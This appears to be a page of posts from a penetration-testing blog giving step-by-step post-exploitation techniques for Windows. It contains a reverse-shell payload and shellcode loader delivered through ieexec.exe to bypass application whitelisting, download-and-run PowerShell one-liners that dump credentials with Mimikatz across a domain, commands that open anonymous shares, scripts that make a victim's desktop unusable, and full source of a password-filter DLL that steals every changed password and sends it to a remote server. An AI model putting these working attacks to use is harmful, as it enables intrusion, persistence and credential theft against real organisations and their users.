Room362.com

Blatherings of a security addict.

Application Whitelist Bypass Using IEexec.exe

| Comments

Guest post by @infosecsmith2

There was a recent presentation at DerbyCon, entitled:

Living Off the Land: A Minimalist’s Guide to Windows Post-Exploitation by Christopher Campbell & Matthew Graeber

I highly recommend that you start with this presentation as it lays the foundation for this post.

The premise is, how can we maintain persistence in a corporate environment, using tools and defaults provided by the host OS we have compromised. This is a very important concept, given the shift in many organizations to an Application Whitelisting Defense model.

It is only a matter of time before time before you might encounter an Application Whitelisting Defense.

As a follow up to that presentation, I began exploring the binaries that ship by default with Windows. That is where I stumbled across a binary in the C:\Windows\Microsoft.NET\Framework64\v2.0.50727 path.

The Executable is ieexec.exe. A write up is here: http://support.microsoft.com/kb/822485

“The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.”

Excellent! So, now we just need to host our malicious binary , and call it from ieexec.exe.

This is great, since most Application Whitelisting Environments are going to “Trust” anything signed my Microsoft as a matter of convenience. IEexec.exe will download and execute our code for us, all under the trusted process.

So lets get started!

Step 1. Prepare your Shellcode, or whatever malicious app you want. I compiled my executable using SharpDevelop, since it has less footprint than a full blown Visual Studio install. From msfconsole:

1
2
3
4
5
6
7
8
msf > use windows/x64/shell/reverse_tcp
msf payload(reverse_tcp) > set LHOST x.x.x.x
msf payload(reverse_tcp) > set LPORT 443
msf payload(reverse_tcp) > generate -t csharp
byte[] buf = new byte[422] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52...

 <Snipped Full ShellCode for Brevity>

Step 2. Create the .NET wrapper application

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
using System;
using System.Runtime.InteropServices;
namespace native
{
    class Program
    {
            private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            private static UInt32 MEM_RELEASE = 0x8000;

        public static void Main(string[] args)
        {
            // native function's compiled code 

            byte[] proc = new byte[] {
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52...

            //Edited ShellCode For Brevity 
            };

            UInt32 funcAddr = VirtualAlloc(0, (UInt32)proc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(proc, 0, (IntPtr)(funcAddr), proc.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;

            // prepare data 

            PROCESSOR_INFO info = new PROCESSOR_INFO();
            IntPtr pinfo = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESSOR_INFO)));
            Marshal.StructureToPtr(info, pinfo, false);

            // execute native code 

            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);

            // retrive data 

            info = (PROCESSOR_INFO)Marshal.PtrToStructure(pinfo, typeof(PROCESSOR_INFO));
            Marshal.FreeHGlobal(pinfo);
            CloseHandle(hThread);
            VirtualFree((IntPtr)funcAddr, 0, MEM_RELEASE);
        }

        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId );

        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds );

        [DllImport("kernel32")]
        private static extern IntPtr GetModuleHandle( string moduleName );

        [DllImport("kernel32")]
        private static extern UInt32 GetProcAddress( IntPtr hModule, string procName );

        [DllImport("kernel32")]
        private static extern UInt32 LoadLibrary( string lpFileName );

        [DllImport("kernel32")]
        private static extern UInt32 GetLastError();
        
        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESSOR_INFO
        {
            public UInt32 dwMax;
            public UInt32 id0;
            public UInt32 id1;
            public UInt32 id2;
            public UInt32 dwStandard;
            public UInt32 dwFeature;

            // if AMD 
            public UInt32 dwExt;
        }
    }
}

You will want to compile the exe for the target platform. In this case I am going for an x64 target. Also, you will want to compile for 2.0 or 3.5 Framework.

Step 3. Host the Exe. For this example, I used Mongoose. Simple and Effective:

http://code.google.com/p/mongoose/

By default Mongoose listens on port 8080. This is configurable. Simple place your compiled binary from step 2 into the same directory as Mongoose. Start Mongoose and you are almost ready to deliver your payload.

Step 4. Setup your receiver:

1
2
3
4
5
msf payload(reverse_tcp) > use exploit/multi/handler
msf exploit(handler) > set LHOST x.x.x.x
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set PAYLOAD windows/x64/shell/reverse_tcp
msf exploit(handler) > exploit -j

Step 5. From the host that is protected via Whitelisting. Open 2 Command Prompts as administrator.

CMD 1 Execute:

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s off

CMD 2 Execute:

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>ieexec.exe http://x.x.x.x:8080/bypass.exe

There is some detail to unpack here, I can go over later, as to why we need to run caspol.exe. Here’s the behavior I saw in our experimentation with this.

Initial attempt to run our rogue binary fails, since it is unknown/untrusted/unapproved:

Now, on the same host…

Executes just fine!

Its important to distinguish what this technique is and what it is not. This is not an exploit or vulnerability. Rather this is one way to execute arbitraty code in an Application Whitelisting Environment.

Summary:

In this document we learned that even if a host is in a mode where only trusted approved applications can run. IEexec.exe can be used in certain situations to circumvent a Whitelist, since it is likely a trusted binary, since it is signed by Microsoft.

Cheers,

=> @infosecsmith2

ExtAPI Pranks

| Comments

Since I’ve been gone, OJ has released the ExtAPI (Extended API) for Meterpreter. This has some pretty amazing functionality. You can find OJ’s write up on it and more amazing things he did in 3 months of meterpreter and on the Metasploit blog.

Just brushing the surface and to help people see the power of this new functionality I went ahead and created a few Meterpreter scripts that can really mess with someone.

1st is a script that loops through all of the windows for your current user and sets the focus to them in rotation. Essentially making their machine unusable.

1
2
3
4
5
6
7
8
9
10
11
12
13
# Code loops around each of the windows
# that the current user has open and switches
# focus to each of them in rotation... 100 times.

(0..100).each do |x|
  windows = client.extapi.window.enumerate
  windows.each do |winder|
      if winder[:title] != 'Default IME'
          result = client.railgun.user32.SetForegroundWindow(winder[:handle])
      end
  end
  print_status("Round #{x}")
end

2nd just sets all of the windows title’s the say “hacked”

1
2
3
4
5
6
windows = client.extapi.window.enumerate
windows.each do |winder|
  if winder[:title] != 'Default IME'
    result = client.railgun.user32.SetWindowTextA(winder[:handle],"Hacked")
  end
end

and finally if in Windows if you close all of the windows, including “invisible” ones like Explorer, you will essentially make the machine unusable.

1
2
3
4
windows = client.extapi.window.enumerate
windows.each do |winder|
  result = client.railgun.user32.CloseWindow(winder[:handle])
end

OJ suggested a few other options:

Destroy:

1
2
3
4
windows = client.extapi.window.enumerate
windows.each do |winder|
    result = client.railgun.user32.DestroyWindow(winder[:handle])
end

or Minimize all:

1
2
3
4
windows = client.extapi.window.enumerate
windows.each do |winder|
    result = client.railgun.user32.ShowWindow(winder[:handle], 6)
end

Thats it for now, next up we will do a few things with services as well as the clipboard. Stay tuned!

Alive Again

| Comments

I’ve taken a rather long hiatus from blogging. This is mostly because I was fed up with the blogging platform that I had (Squarespace) and didn’t really have any alternatives that met all of the features I wanted.

So, where am I at now? Github actually. Github allows users to create “Github Pages” for repositories (or be it’s own repo). For the most part these pages are written in Markdown. It’s late and I don’t feel like looking up who, but someone created a project called “Jekyll” which is a Ruby based static page generator and then another project called “Octopress” popped up using Jekyll to create a static html based blogging platform.

It’s a bit of a pain in the butt to use and learn, but once you have a few things automated it gets simpler. It also hits the most bullet points of any other option.

Expect things to pick up pretty quickly here, but as I’m typing this I’m already thinking that promising something like that is a bad idea. We’ll see how it goes, it’s just good to be back.

Dumping a Domain Worth of Passwords With Mimikatz

| Comments

clymb3r recently posted a script called “Invoke-Mimikatz.ps1” basically what this does is reflectively injects mimikatz into memory, calls for all the logonPasswords and exits. It even checks the targets architecture (x86/x64) first and injects the correct DLL.

You can very easily use this script directly from an admin command prompt as so:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

(This works REALLY well for Citrix and Kiosk scenarios and it’s too hard to type/remember) This runs the powershell script by directly pulling it from Github and executing it “in memory” on your system.

One of the awesome added capabilities for this script is to run on a list of hosts. as so:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds -ComputerName @('computer1', 'computer2')"

This works great as all the output is directly on your system and all executed through Powershell Remoting. Powershell Remoting is pretty much the same as WinRM. This service however is not enabled by default and can be pretty hit or miss on how much any given enterprise uses WinRM. However, it is usually the servers and more important systems that have it enabled more often than not.

You can find WinRM / PowerShell Remoting by scanning for the service port 47001 as well as the default comm ports for WinRM 5985 (HTTP) and 5986 (HTTPS).

If you find that your target isn’t a WinRM rich environment or you just want more passwords you can take a slightly more painful route, I call it “Mass Mimikatz”

Step 1. Make a share, we are doing this so we can not only collect the output of all our computers passwords, but to host the CMD batch file that will run the powershell script:

cd\
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t

We are setting “Everyone” permissions on a Share (net share) and NTFS (icacls) level for this to work properly.

Step 2. Set registry keys. There are two registry keys that we need to set. The first allows Null Sessions to our new share and the second allows null users to have the “Everyone” token so that we don’t have to get crazy with our permissions. I have create a meterpreter script that has a bunch of error checking here: massmimi_reg.rb or you can just make the following changes”

HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ  = open
HKLM\System\CurrentControlSet\Contol\Lsa "EveryoneIncludesAnonymous" = 1

Step 3. Change directory into new “open” directory. This is so our uploads and in particular our web server will be hosted out of the correct directory.

Step 4. Upload powershell script powermeup.cmd – this script will run our hosted Invoke-Mimikatz script on each host:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.127:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.127\open\%COMPUTERNAME%.txt 2>&1

Step 5. Upload clymb3r’s Invoke-Mimikatz ps1 – Download from PowerSploit repo: source on github

Step 6. Upload mongoose: Downloads Page – Both regular and tiny versions work. This is an awesome, single executable webserver that supports LUA, Sqlite, and WebDAV out of the box. Tiny version is under 100k.

Step 7. Upload serverlist.txt – This is a line by line list of computer names to use mimikatz on. You’ll have to gather this one way or another.

Step 8. Execute mongoose (from directory with mimikatz.ps1) – This will start a listener with directory listings enabled on port 8080 by default

Step 9a. Execute wmic:

wmic /node:@serverlist.txt process call create "\\192.168.92.127\open\powershellme.cmd"

Step 9b. Execute wmic with creds:

wmic /node:@serverlist.txt /user:PROJECTMENTOR\jdoe /password:ASDqwe123 process call create "\\192.168.92.127\open\powershellme.cmd"

Step 10. Watch as text files full of wonder and joy fill your share.

You can find the scripts here: https://github.com/mubix/post-exploitation/tree/master/scripts/mass_mimikatz

Don’t forget to clean up::

  1. kill mongoose process
  2. net share open /delete
  3. kill/reset registry values
  4. delete “open” directory

Got a better way of getting this done? Please leave a comment.

P.S. You could just enable Powershell Remoting for them ;)

psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"

AD Zone Transfers as a User

| Comments

_cross posted from: http://carnal0wnage.attackresearch.com/2013/10/ad-zone-transfers-as-user.html_

The tired and true method for Zone Transfers are using either nslookup:

1
2
nslookup
ls -d domain.com.local

Or dig:

1
dig -t AXFR domain.com.local @ns1.domain.com.local

In the Windows Enterprise world there are a few more options. If you are a DNS Admin you can use the ‘dnscmd’ command like so:

1
2
dnscmd /EnumZones
dnscmd /ZonePrint domain.com.local

Which is handy if you can pop the DNS server (usually the Domain Controller so you usually have better things to do at that point).

You can also use PowerShell:

PS C:\Users\jdoe> get-wmiobject -ComputerName dc1 -Namespace root\microsoftDNS -Class MicrosoftDNS_ResourceRecord -Filter "domainname='projectmentor.net'" | select textrepresentation

Again, this requires you to be a very high privileged account, which is no fun. I need these computer lists as part of my internal / post-exploitation recon, not an end step.

For the longest time I relied on a very awesome tool called “Adfind”:

1
adfind -sc computers_active -csv -nodn -nocsvq -nocsvheader

This command will output a list of computer accounts that have been active in the last 90 days in a straight line by line format (hence all of the no “this”and no “that” flags)

But that wasn’t good enough, this image kept haunting me:

It’s Active Directory Explorer by SysInternals. It shows the complete list of DNS records, stored as objects in Active Directory that I was able to get to as a basic domain user. This means all of the static DNS records for the unix systems and mainframes and other systems outside of the purely Windows world are there as well.

I spent 4 days attempting to write my own script, ldap query, prayer to get all of the data out but was unsuccessful. On the 5th day I happened upon a very short post saying “I did it”, as I probably would have written the same. It comes in the form of a PowerShell script that you can find here:

Code: https://github.com/mmessano/PowerShell/blob/master/dns-dump.ps1

And is very easy to run:

PS C:\Users\jdoe> dns-dump.ps1 -zone projectmentor.net -dc dc1

or

C:\> powershell -ep bypass -f dnsdump.ps1 -zone projectmentor.net -dc dc1

If you put a -csv on the end of those the author has even given you the CSV format which makes the output extremely easy to parse. Now you can throw your list into your tool of choice instead of scanning random IP ranges on the targets network for important stuff you can scan directly against known good hosts.

— mubix

P.S. Yes I realize this isn’t actually “Zone Transfer”s but its close enough

Stealing Passwords Every Time They Change

| Comments

Password Filters [0] are a way for organizations and governments to enforce stricter password requirements on Windows Accounts than those available by default in Active Directory Group Policy. It is also fairly documented on how to Install and Register Password Filters [1].aspx). Basically what it boils down to is updating a registry key here: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages

with the name of a DLL (without the extension) that you place in Windows\System32\

For National CCDC earlier this year (2013), I created an installer and “evil pass filter” that basically installed itself as a password filter and any time any passwords changed it would store the change to a log file locally to the victim (in clear text) as well as issue an HTTP basic auth POST to a server I own with the username and password.

The full code can be found below. I’ll leave the compiling up to you but basically its slamming the code in Visual Studio, telling it its a DLL, and clicking build for the architecture you are targeting (Make sure to use the Internet Open access settings that make the most sense for the environment you are using this in [2.aspx)].

So lets walk the exploitation:

First, you have to be admin or system, as this is more of a persistence method than anything.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Next, we upload the evilpassfilter.dll to Sytem32:

meterpreter > pwd
C:\Windows\system32
meterpreter > upload /tmp/evilpassfilter.dll .
[*] uploading  : /tmp/evilpassfilter.dll -> .
[*] uploaded   : /tmp/evilpassfilter.dll -> .\evilpassfilter.dll

Then we need to query what is already in the notification packages list:

meterpreter > reg queryval -k HKLM\\System\\CurrentControlSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Type:
Data: sceclirassfm

What you can’t see here since Metasploit isn’t showing the line breaks is that there are two there by default:

scecli
rassfm

We need to add ours to the end of this list, unfortunately at the current point of time its impossible to do directly from the meterpreter command line (as far as I know). So we need to drop a .reg file and manually import it. Easiest way to do that is to add your “evilpassfilter” string as well as the ones on the victim to a VM you have and export it. Should look like this:

Once we have our file, we upload and import it using reg command:

meterpreter > upload importme.reg .
[*] uploading  : importme.reg -> .
[*] uploaded   : importme.reg -> .\importme.reg
meterpreter > execute -H -f regedit.exe -a '/s importme.reg'
Process 2628 created.
meterpreter > 

Double check our work:

meterpreter > reg queryval -k HKLM\\System\\CurrentcontrolSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Type:
Data: sceclirnrassfmrnevilpassfilter 

Its there, w00t! But it doesn’t do anything until a reboot happens :(. Lets just force that to happen (not the most stealthy thing to do):

meterpreter > reboot
Rebooting...

While thats going on, lets set up the server to catch the basic auth.

msf exploit(psexec) > use auxiliary/server/capture/http_basic
msf auxiliary(http_basic) > set URIPATH /
URIPATH => /
msf auxiliary(http_basic) > run
[*] Auxiliary module execution completed
msf auxiliary(http_basic) >
[*] Listening on 0.0.0.0:80...
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.92.106:80/
[*] Server started.
msf auxiliary(http_basic) > 

Then we wait for a password to be changed:

msf auxiliary(http_basic) >
[*] 192.168.92.106   http_basic - Sending 401 to client
[+] 192.168.92.106 - Credential collected: "jack:ASDqwe123" => /

No matter how complex their password is and without having a shell on the box anymore:

msf auxiliary(http_basic) >
[+] 192.168.92.106 - Credential collected: "jack:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p" => /

This works from Windows 2000, XP all the way up to Windows 8 & 2012.

Ok, but how often are local password changed? Maybe not that often, but guess what happens when a password filter is put on a domain controller. Every password changed by that DC is “verified” by your evil password filter.

Oh and what does that log file we talked about earlier on the victim look like if for some reason they block that IP you’re getting your authentication to? (You would have to find a way to get back on that system, or make it available via a share or otherwise)

InitializeChangeNotify()
JackJohnson:ASDqwe123
JackJohnson:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p

This attack supports a larger character set than most banks ;–)

Full code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>

void writeToLog(const char* szString)
{
    FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
    if (NULL == pFile)
    {
        return;
    }
    fprintf(pFile, "%s\r\n", szString);
    fclose(pFile);
    return;
}



// Default DllMain implementation
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    OutputDebugString(L"DllMain");
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

BOOLEAN __stdcall InitializeChangeNotify(void)
{
    OutputDebugString(L"InitializeChangeNotify");
    writeToLog("InitializeChangeNotify()");
    return TRUE;
}

BOOLEAN __stdcall PasswordFilter(
    PUNICODE_STRING AccountName,
    PUNICODE_STRING FullName,
    PUNICODE_STRING Password,
    BOOLEAN SetOperation )
{
    OutputDebugString(L"PasswordFilter");
    return TRUE;
}

NTSTATUS __stdcall PasswordChangeNotify(
    PUNICODE_STRING UserName,
    ULONG RelativeId,
    PUNICODE_STRING NewPassword )
{
  FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
  //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
  HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
  HINTERNET hSession = InternetConnect(hInternet,L"172.16.10.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);
  HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0);
  char* pBuf="SomeData";



  OutputDebugString(L"PasswordChangeNotify");
  if (NULL == pFile)
    {
        return;
    }
  fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer,NewPassword->Buffer);
  fclose(pFile);
  InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2);
  InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2);
  HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf));

    return 0;
}

Changing Proxychains Hardcoded DNS Server

| Comments

If you’ve ever used proxychains to push things through Meterpreter, one of the most annoying things is its “hardcoded” DNS setting for 4.2.2.2, if the org that you are going after doesn’t allow this out of their network, or if you are trying to resolve an internal asset, you’re SOL. After a ton of googling and annoyed head slams into walls every time I forget where this is I’ve finally decided to make a note of it.

There isn’t much magic here other than knowing that this file exists, but /bin/proxyresolv is a bash script that calls “dig” using TCP and the DNS server specified so it goes through the proxychains. Here is what it looks like: (on Kali linux its found here: /usr/lib/proxychains3/proxyresolv)

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
# This script is called by proxychains to resolve DNS names
# DNS server used to resolve names
DNS_SERVER=4.2.2.2

if [ $# = 0 ] ; then
echo " usage:"
echo " proxyresolv <hostname> "
exit
fi

export LD_PRELOAD=libproxychains.so.3
dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'

Now you could just make the dig request yourself through proxychains then throw whatever you originally attended directly at an IP, or you can make the DNS_SERVER change and hardcode your engagement’s internal IP, up to you, but now its documented and I’ll never have to go searching like crazy again… as long as I remember that its on someone else’s blog.